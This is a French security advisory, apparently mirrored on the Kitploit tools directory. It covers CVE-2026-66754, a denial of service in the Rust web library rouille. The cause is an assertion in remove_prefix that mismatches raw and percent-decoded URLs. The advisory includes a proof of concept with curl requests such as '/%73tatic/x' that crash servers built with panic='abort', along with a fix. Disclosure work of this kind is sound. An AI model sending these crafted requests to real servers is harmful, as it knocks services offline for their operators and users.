Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille- — Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille) | Kitploit
Outils/GitHubGitHub/theopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-
Vulnerability AnalysisWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-

CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille-

Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille)

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
il y a 23 joursPas encore vérifié

Avis de sécurité : déni de service distant via une assertion atteignable dans la gestion du préfixe d'URL (rouille)

Identifiant CVE attribué : CVE-2026-66754

Résumé

Request::remove_prefix teste l'URL décodée en pourcentage, mais effectue une assertion sur l'URL brute. Une requête dont le chemin décodé commence par le préfixe alors que son chemin brut ne commence pas par celui-ci réussit le test et fait échouer l'assertion. Encoder en pourcentage un seul caractère du préfixe suffit.

Sur une compilation par défaut, la panique est interceptée et se transforme en 500. Sur une compilation avec panic = "abort", rien ne peut l'intercepter, et une seule requête GET non authentifiée met fin au processus serveur.

Versions affectées

URL du dépôt : https://github.com/tomaka/rouille

Première version affectée0.1.6 (2016-09-22), la version qui a introduit remove_prefix
Dernière version affectée3.6.2 (2023-04-24), la version actuelle
Non affectées0.1.5 et antérieures, qui n'ont pas de remove_prefix
Corrigée dansaucune version corrigée à la date de rédaction

La fonction est inchangée dans toutes les versions de cette plage et dans master actuel. Les applications sont affectées si elles appellent Request::remove_prefix, ce qui est le schéma que rouille documente pour servir des fichiers statiques sous un préfixe d'URL (src/assets.rs lignes 66 à 75, et src/lib.rs lignes 804 à 811).

Gravité

CWE-617 (Assertion atteignable), conduisant à CWE-248 (Exception non interceptée).

Score de base CVSS 4.0 : 8.2 (Élevé) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Modèle de menace

Un client distant non authentifié pouvant envoyer une seule requête GET. Aucun identifiant et aucune interaction utilisateur.

panic = "abort" n'est pas la valeur par défaut de Cargo, mais c'est un choix courant de profil de release pour des binaires plus petits et une surcharge moindre. rouille dépend du déroulement de pile (unwinding) pour la disponibilité, car Server::process s'appuie sur panic::catch_unwind à la ligne 602 de src/lib.rs pour convertir les paniques du gestionnaire en 500. Cette dépendance n'est pas documentée.

Cause racine

rouille/src/lib.rs, lignes 813 à 822 :

root@kitploit:~
813      pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814          if !self.url().starts_with(prefix) {
815              return None;
816          }
817  
818          // TODO: url-encoded characters in the prefix are not implemented
819          assert!(self.url.starts_with(prefix));
820          Some(Request {
821              method: self.method.clone(),
822              url: self.url[prefix.len()..].to_owned(),

La ligne 814 appelle self.url(), qui décode les pourcentages. La ligne 819 effectue une assertion sur self.url, le champ brut, et la ligne 822 découpe ce même champ brut. Les deux représentations divergent dès que le chemin contient une séquence d'échappement en pourcentage à l'intérieur du préfixe :

Ce même désaccord signifie aussi que remove_prefix ne route jamais un chemin légitimement encodé en pourcentage ; le bug d'exactitude et le bug de disponibilité partagent donc un correctif.

Preuve de concept

Étape 1. Démarrez un serveur en utilisant l'idiome de préfixe documenté.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8003", |request| {
        if let Some(r) = request.remove_prefix("/static") {
            return rouille::match_assets(&r, ".");
        }
        Response::text("home")
    });
}

Étape 2. Envoyez une requête bénigne et une requête équivalente avec s encodé en pourcentage. --path-as-is empêche curl de normaliser le chemin.

root@kitploit:~
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

Résultat sur une compilation par défaut. La première est une 404 normale pour un fichier manquant, la seconde est une panique transformée en 500 :

root@kitploit:~
404
500

avec ceci sur stderr :

root@kitploit:~
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)

Étape 3. Recompilez le même programme avec abandon-sur-panique et répétez la seconde requête.

root@kitploit:~
[profile.release]
panic = "abort"
root@kitploit:~
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

Résultat. Le processus se termine avec SIGABRT (code de sortie 134) et le serveur cesse de répondre. Une requête, aucune authentification, perte totale de disponibilité.

Impact

Sur les compilations avec panic = "abort", une seule requête non authentifiée arrête le serveur. Sur les compilations par défaut, les requêtes dont le chemin contient un échappement en pourcentage dans le préfixe renvoient 500 au lieu d'être servies ; le routage est donc également incorrect pour les clients légitimes.

Notez que la panique ne peut pas empoisonner le mutex sur lequel Server::process appelle unwrap en dehors de catch_unwind aux lignes 643 et 649 de src/lib.rs, car remove_prefix ne fait que cloner l'Arc et ne détient jamais de garde. Sur les compilations avec déroulement de pile, le thread de travail récupère proprement.

Remédiation

Effectuez la comparaison et la découpe sur la même représentation. La version correcte la plus simple compare et découpe l'URL brute :

root@kitploit:~
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
    if !self.url.starts_with(prefix) {
        return None;
    }
    Some(Request {
        url: self.url[prefix.len()..].to_owned(),
        ..
    })
}

Si le comportement de comparaison décodée est souhaité, décodez l'URL une fois, retirez le préfixe de la chaîne décodée, puis ré-encodez le reste plutôt que de découper le champ brut.

Dans les deux cas, le assert! doit disparaître. Une bibliothèque ne doit pas interrompre le processus sur une entrée contrôlée par l'attaquant. Documenter que rouille exige panic = "unwind", ou supprimer la dépendance à catch_unwind pour l'exactitude, aiderait également.

Télécharger l’outil
URL bruteurl() décodéeLigne 814Ligne 819
/static/x/static/xréussitréussit
/%73tatic/x/static/xréussitéchoue
/stati%63/x/static/xréussitéchoue